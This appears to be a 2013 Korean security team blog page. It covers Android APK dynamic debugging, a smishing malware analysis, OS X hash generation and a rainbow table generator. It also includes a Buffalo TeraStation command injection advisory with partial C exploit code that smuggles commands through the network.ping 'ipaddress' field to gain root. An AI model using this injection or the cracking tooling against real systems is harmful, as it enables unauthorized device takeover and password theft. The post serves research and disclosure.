Android Device를 이용한 동적 디버깅

스마트폰 2013. 4. 26. 04:23 Posted by TEAMCR@K

본 문서는 Android APK 파일을 Device에서 동적 디버깅 방법에 대해 작성 하였습니다.

안드로이드 기반 동적 디버깅 환경 구축(emulator): http://teamcrak.tistory.com/342

 

테스트 환경은 아래와 같습니다.

  • OS: Window 7
  • Java version: jdk6
  • APKTools: 1.4.1
  • NetBeans IDE: 7.3
  • APK Sign tool
  • Galaxy S2

APKTool 1.4.1 버전 사용 이슈

APK Tool 1.4.1 이상 버전부터 디버그모드(-d) 일 때 java파일이 생성되지 않아 동적 디버깅을 할 수 없다고 합니다.

http://i5on9i.blogspot.kr/2012/10/smali-apk-debugger.html

 

우선 APKTool 1.4.1 다운로드 합니다.

APKTool 1.4.1: https://android-apktool.googlecode.com/files/apktool1.4.1.tar.bz2

기존 APKTool을 사용하고 있었다면 다음경로의 파일을 삭제해야 에러가 발생하지 않습니다.

C:\Users\<USER_NAME>\apktool\framework\1.apk

다운로드 후 디버깅옵션으로 smali code를 생성합니다.

apktool.bat d –d <file>.apk

[그림1] APKTool 을 이용한 smali code 생성

 

AndroidManifest.xml 파일에서 아래 항목을 추가해줍니다.

Android:debuggable="true" //디버깅 허용

-------------------------------------------------------------------------------------------------------

<intent -filter="-filter">

<action android:name="android.intent.action.MAIN">

// 테스크의 첫 액티비티로 액티비티를 시작한다.

<category android:name="android.intent.category.LAUNCHER">

//액티비티가 어플리케이션의 런처에 표시되고 테스크의 첫 액티비티가 될 수 있다.

</intent>

 

[그림2] AndroidManifest.xml 패치

 

추가 및 패치하기 전 DDMS 화면을 보면 attach 할 수 있는 프로세스가 없습니다.

[그림3] attach 프로세스 유무 확인

 

다시 apktool로 패키징 후 코드사인 합니다.

[그림4] 패치후 리패키징

 

패치 된 APK 설치 전 디바이스에서 환경설정 > 개발자 옵션 > USB디버깅 체크해줍니다.

[그림5] USB 디버깅 모드

 

어플리케이션 설치 후 연결된 디바이스에서 attach 할 수 있는 프로세스를 확인할 수 있습니다.

[그림6] 접근 가능한 프로세스 확인

 

NetBeans 7.3 버전들 다운로드 후 설치합니다.

NetBeans Download: https://netbeans.org/downloads/

NetBeans 설정은 다음과 같이 진행합니다.

[그림7] 새 프로젝트 작성

 

[그림8] 프로젝트 위치 지정

 

APKTool 1.4.1 로 디코딩 한 smali 경로를 설정해 줍니다.

[그림9] smali code 위치 설정

 

[그림10] API Level에 맞춰 라이브러리를 설정

 

[그림11] API Level에 맞춰 라이브러리 추가

 

[그림12] 테스트로 작성된 어플리케이션 실행

 

Debug > Attach Debugger 를 선택합니다.

[그림13] Attach Debugger

 

[그림14] 호스트, 포트 입력

 

Attach 에 성공하면 형광색 아이콘이 생겨 디바이스에서 디버깅을 시작할 수 있습니다.

[그림15] 디버깅 시작

 

지금까지 디버깅 환경 설정을 살펴보았습니다.

이제부터 실제로 디버깅을 시작하기 위해 어플리케이션 실행 시부터 디버깅 할 수 있는 방법에 대해 알아보겠습니다.

디버깅을 어플리케이션이 시작과 동시에 하기 위해서 smali code에서 onCreate 메소드 호출 시 'invoke-static {}, Landroid/os/Debug;->waitForDebugger()V' 를 삽입해 줍니다.

[그림16] 디버깅 대기를 위한 코드패치

 

코드 패치 + 리패키징 + 코드사인 후 어플리케이션을 설치합니다.

어플리케이션을 실행하게 되면 DDMS 에서 붉은색 아이콘이 생성되며 attach 전까지 대기하게 됩니다.

[그림17] 디버깅 대기

 

[그림18] 디버깅 전 화면

 

NETBeans에서 attach 하기 전 ctrl+shift+F8 단축키를 눌러 bp를 설정합니다.

[그림19] break point 설정

 

Attach 시 debugging wait 에서 벗어나 호출된 함수에서 break point 가 걸리게 됩니다.

[그림20] break point 지점 확인

 

[그림21] 라인별로 smali code, java code를 보며 디버깅을 시작

 

[그림22] 어플리케이션 시작

 

버튼 이벤트 발생 시 break point를 설정하여 디버깅 할 수 있습니다.

Ctrl+shift+F8 단축키를 이용하여 break point 지점을 설정합니다.

[그림23] 버튼 이벤트 메소드 확인

 

[그림24] 버튼 이벤트 동작

 

[그림25] 동작 지점 확인

 

[그림26] 디버깅 메뉴를 이용하여 분석

 

이상으로 디바이스에서 APK 동적 디버깅 환경을 살펴 보았습니다.

 

마지막으로 APK 동적 디버깅 순서 정리하면 아래와 같습니다.

  1. APKTool을 이용한 디코딩 (Apktool d –d <file>.apk)
  2. Device 설정(USB디버깅 모드) 및AndroidManifest.xml 수정
  3. MainActivity에 debugging wait 함수 추가
  4. 어플리케이션 리패키징 및 코드사인 후 설치
  5. NETBeans설정 후 호출되는 Method break point 설정
  6. Attach Debug 후 디버깅을 시작

 

 

참고자료

http://d-kovalenko.blogspot.kr/2012/08/breakpoints-in-smali-code.html

http://d-kovalenko.blogspot.kr/2012/08/debugging-smali-code-with-apk-tool-and.html

http://dztall.blogspot.kr/2011/01/blog-post.html

http://i5on9i.blogspot.kr/2012/10/smali-apk-debugger.html

http://code.google.com/p/android-apktool/issues/detail?id=339

 

Creating hashes on the Apple OS X

CR@K 이야기 2013. 4. 25. 18:05 Posted by TEAMCR@K

저희 TeamCR@K 사무실 한 곳에서 조용하게 자리잡고 있는 식구 하나가 있습니다.


이름하야 Mac Pro...




한동안 너무 바빠 신경 써 주지 못했던 OS X에게 새로운 역할을 줘 보았습니다.

기존 레인보우 테이블에 해시를 생성하던 일을 OS X에서 해 보려고 하는데요.

해시 생성 코드는 리눅스 기반으로 만들고 테스트 했던지라 BSD 유틸 기반인 OS X에서도 잘 동작하리라 생각합니다.


OS X에서 포팅을 준비하면서 테스트코드 하나를 컴파일 해 봤습니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(void)

{

        char buf[1024];


        bzero(buf, sizeof(buf));

        strcpy(buf, "test!\n");

        fprintf(stdout, "%s", buf);

        return 0;

}


컴파일 시도 결과 다음과 같은 메세지를 출력하는군요.



보통 리눅스 시스템에서 사용하는 C컴파일러 명령으로는 gcc가 있는데 유닉스 환경과 호환성을 위해 cc 명령으로 심볼릭 링크를 생성해 놓습니다.

OS X 콘솔 터미널에서 컴파일 테스트를 하던 도중 무의식적으로 cc 명령을 사용했는데 gcc 명령과는 다른 Warning 구문을 출력해 주네요.

cc 명령을 사용한 결과에서 함수 원형이 선언되어 있지 않아 출력되는 경고 구문에 대해서는 일반 gcc 결과와 다를게 없었습니다.

그러나 잘 살펴보면 다음 두 가지에 변화가 있다는 것 을 알 수 있습니다.


1. 소스코드 내에서 함수 원형이 선언되어 있지 않은 함수에 대해 기본 시스템 헤더파일들 중 같은 이름으로 선언된 함수의 원형을 출력


2. note 태그를 사용하여 참조된 기본 시스템 헤더파일 정보를 출력


cc 명령의 결과 형태가 XCode IDE에 활용되는지는 아직 잘 모르겠습니다.

그러나 기본 gcc 경고구문보다는 진일보 된 경고구문이 아닐까 생각해봅니다.


cc 명령 결과 형태에 깜짝놀라 이야기가 잠시 딴 곳으로 샜습니다만..

여차저차해서 컴파일을 마무리 했습니다.


만들어져 있던 레인보우 테이블에서 일반 평문에 비해 해시 데이터가 많이 부족하기 때문에 지금 실행하는 프로그램에서 평문 데이터 저장을 잠시 미루도록 했습니다.



fork()를 사용하여 프로세스 별로 해시 데이터를 생성하도록 했는데 전체적으로 시스템에도 크게 지장을 주지 않는 범위내에서 실행되고 있는 것 같습니다.


오늘부터 OS X는 사무실 한 곳에서 묵묵히 그리고 쉼 없이.. 해시 데이터를 생성하게 되겠네요..

 

    

얼마 전 TeamCR@K 팀원 스마트폰으로 한 통의 문자 메시지가 왔습니다.

누가 봐도 문자 메시지 피싱(SMS phsing, 스미싱) 공격이라는 것을 알 수 있는 쿠폰 문자 메시지가 한 통 도착 하였습니다.

          

[그림1] 스미싱 공격 문자메시지 수신

 

URL을 접속하면 해당 apk 파일을 다운로드 하게 됩니다.

 

해당 apk 파일을 APKinspector를 이용하여 어떤 동작을 하는지 살펴보도록 하겠습니다.

APKinspector는 python으로 작성된 The Honeynet Project중 하나인 GUI 툴입니다.

APKinspector Download: https://github.com/honeynet/apkinspector/

우선 설치를 위해서 Ubuntu 11.10 버전을 설치합니다.

[그림2] 설치 시 버전 요구

 

Ubuntu 11.10에서 APKinspector를 다운로드 후 install.sh로 필요한 python 패키지를 설치합니다.

[그림3] 패키지 설치

 

APKinspector 실행 시 다음과 같은 에러메시지를 볼 수 있습니다.

$ python startQT.py

Traceback (most recent call last):

File "startQT.py", line 18, in <module>

from GetMethods import *

File "/home/dev/Desktop/apkinspector/GetMethods.py", line 20, in <module>

import androguard, analysis, androlyze

File "/home/dev/Desktop/apkinspector/androguard/androlyze.py", line 35, in <module>

import IPython.ipapi

ImportError: No module named ipapi

 

iPython 패키지가 업데이트 되면서 모듈위치가 바뀌어서 위와 같은 에러메시지가 나오게 됩니다.

버전에 맞도록 아래 사이트에서 iPython 모듈을 다운로드 후 설치합니다.

iPython Download: http://archive.ipython.org/release/0.10.2/

 

설치가 완료되었다면 python startQT.py 를 실행하여 APKinspector를 실행합니다.

[그림4] 악성 어플리케이션 오픈

 

[그림5] 디바이스 권한 확인

프로그램 실행 시 해당 어플리케이션이 문자메시지 권한을 요청하는 경고 창을 볼 수 있습니다.

통화핸들링 접근이나 혹은 녹음기능 권한을 요청하는 어플리케이션을 불러올 시 같은 경고 창을 볼 수 있습니다.


[그림6] Proguard 난독화 적용 확인

Proguard 적용으로 난독화 되어있는 것을 확인할 수 있습니다.

원하는 메소드를 더블클릭 하게 되면 그래픽컬한 화면을 볼 수 있습니다.


[그림7] CFG 확인

Dalvik byte code단위로 흐름도를 한눈에 볼 수 있습니다.

해당 코드를 선택 후 Space bar를 누르면 Dalvik byte code로 이동하게 됩니다.


[그림8] Dalvik byte code 확인

반대로 오른쪽 마우스버튼으로 goto CFG 메뉴로 흐름도를 볼 수 있습니다.


[그림8] Permission 확인

주요 권한을 요청 시 어느 Method에서 호출하는지 확인 할 수 있습니다.


[그림9] 어플리케이션 설치 시 권한 확인

어플리케이션 설치 시 요청하는 권한들을 살펴보면 다음과 같습니다.

주요 요청 권한을 살펴보면 스마트폰 시작 시 백그라운드 서비스로 동작되며 문자 메시지 전송, 확인 등 해당 어플리케이션에서 사용하는 권한들은 아래 사이트에서 살펴 볼 수 있습니다.

권한확인: http://developer.android.com/reference/android/Manifest.permission.html

 

어플리케이션의 동작을 smali 코드 단위로 살펴보면 유포자의 서버를 확인 할 수 있습니다.

[그림10] smali code 확인

 

전송되는 서버 주소를 확인 할 수 있습니다.

[그림11] 서버주소 확인


현재 해당 서버가 운영 중에 있음을 확인하였습니다.

[그림12] 서버주소 decoding

 

토르 브라우저를 이용하여 해당 서버를 접속하였습니다.

[그림13] 공격자 서버 접속

 

이상 APKinspector 를 이용하여 APK 동작부분을 간단히 살펴 보았습니다.

APKinspector를 이용하여 악성 어플리케이션으로 의심되는 어플리케이션의 동작을 간단하게 살펴 볼 수 있습니다.

 

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


Rainbow Table

CR@K 이야기 2013. 4. 22. 22:24 Posted by TEAMCR@K

2012년 연말을 기점으로 저희 팀에 새 식구가 하나 늘었습니다.


동수?.....

는 아니고요...


Buffalo NAS 장비 입니다.

아래 보이는 바로 요 놈 입니다.


Buffalo NAS 장비


요 NAS 장비는 총 12TB 정도의 여유를 가지고 있습니다.

이 여유공간을 어떻게 활용할까 곰곰히 생각해 보다가 Rainbow Table로 일부 활용 해 보기로 했습니다.


DB Schema를 작성하고, DBMS를 구동하고

또 쉼 없이 데이터를 생성하는 프로그램도 작성해서 돌려봅니다.

데이터 작성만 해서는 의미가 없습니다.

작성된 데이터를 활용해 웹에서 해시를 검색하는 웹 UI도 만들어 봅니다.


아래는 만들어진 Rainbow 테이블을 서치 해 볼 수 있는 화면입니다.



일반 평문은 약 3억개 정도이며 각 해시 데이터들이 그 뒤를 잇고 있습니다.

평문에 먼저 데이터를 쌓도록 해 놓은 것이 주로 알파벳 26자와 숫자로 이루어진 단어들이며, 후일에 숫자만으로 된 데이터들도 추가했습니다.

현재 숫자 데이터는 8자리 숫자 데이터까지 검색 가능합니다.


이렇게 써 보다가 약간은 불편한게 생겼습니다.

해시 데이터가 다수 일 때...

물론 삽질을 좋아하는 누군가는 일일이 하나하나의 해시를 검색하고 그 결과를 보는것으로 만족 할 지 모릅니다.

하지만 역시 불편합니다.

그래서 해시 데이터를 파일로 업로드하여 검색하는 기능도 추가했습니다.


일단 해당 기능을 테스트 하기 위해 일반 단어사전을 생성합니다.

리눅스에 기본적으로 존재하는 단어사전에서 그 단어들을 100개 정도 추립니다.



이것을 기준으로 약 100개의 SHA-1 해시를 생성해 봅니다.



해당 데이터를 웹에 업로드 하여 테스트 해 봅니다.



DB에서 찾을 수 있는 해시보다 찾지 못하는 해시가 아직은 더 많습니다.


아래는 레인보우 테이블을 생성하는 코드 중 일부입니다.


>>> snip <<<


pthread_t threads[MAX_THREAD];

int is_interrupt = -1;

int is_pause = -1;

int is_failed = -1;


unsigned char lower_case[] = {

    'a','b','c','d','e','f','g','h','i','j',

    'k','l','m','n','o','p','q','r','s','t',

    'u','v','w','x','y','z', '\0'

};

unsigned char upper_case[] = {

    'A','B','C','D','E','F','G','H','I','J',

    'K','L','M','N','O','P','Q','R','S','T',

    'U','V','W','X','Y','Z', '\0'

};

unsigned char number_case[] = {

    '0','1','2','3','4','5','6','7','8','9', '\0' // 10

};

unsigned char special_case[] = {

    '`','~','!','@','#','$','%','^','&','*',

    '(',')','-','_','=','+','[','{',']','}',

    '\\','|',';',':','\'','"',',','<','.','>',

    '/','?', '\0'

};


unsigned char base[128];


>>> snip <<<


        memset(init_pass, 0x00, sizeof(init_pass));


        for(i = s; i < e; i++) {
            max += pow(count, i) + 0.0;
        }

        for(i = 0; i < max + s; i++) {
            j = 0;
            while(base[j] != '\0') {
                memset(pass, 0x00, sizeof(pass));
                init_pass[sizeof(init_pass) - 1] = init_pass[sizeof(init_pass) - 1] + 1;
                idx = 0;
                for(k = 0; k < sizeof(init_pass); k++) {
                    if(init_pass[k] != '\0') {
                        if(base[init_pass[k] - 1] == '\'') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        if(base[init_pass[k] - 1] == '\\') {
                            pass[idx] = '\\';
                            idx++;
                        }
                        pass[idx] = base[init_pass[k] - 1];
                        idx++;
                    }
                }
                //fprintf(stdout, "[%.0f] Pass: %s\n", total, pass);
                snprintf(sql, sizeof(sql), "INSERT INTO %s(value) VALUES('%s')", info->tblname, pass);
                j++;
                total++;
                if(mysql_query(conn, sql)) {
                    //fprintf(stdout, "%s\n", mysql_error(conn));
                    continue;
                }
            }
>>> snip <<<


지속적으로 데이터를 축적해 나가다 보면 언젠가는 쓸만한 레인보우 테이블이 될 것 같습니다.